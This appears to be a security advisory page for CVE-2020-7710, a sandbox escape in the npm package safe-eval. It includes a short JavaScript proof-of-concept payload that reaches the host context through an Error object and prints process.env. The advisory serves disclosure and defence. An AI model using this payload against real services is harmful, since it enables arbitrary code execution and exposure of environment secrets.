GHSA-hrpq-r399-whgw
Dashboard / Vulnerabilities / GHSA-hrpq-r399-whgw
Summary: Sandbox Breakout / Arbitrary Code Execution in safe-eval
Details: All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system. Evaluating the payload ```js (function (){ var ex = new Error ex.__proto__ = null ex.stack = { match: x => { return x.constructor.constructor("throw process.env")() } } return ex })() ``` prints the contents of `process.env`. ## Recommendation No fix is currently available. Consider using an alternative package until a fix is made available.
References: https://nvd.nist.gov/vuln/detail/CVE-2020-7710, https://github.com/hacksparrow/safe-eval/issues/19, https://snyk.io/vuln/SNYK-JS-SAFEEVAL-608076, https://www.npmjs.com/advisories/1322
Affected packages
Package
Name: safe-eval
Purl: pkg:npm/safe-eval
Affected ranges
Type: SEMVER
Events:
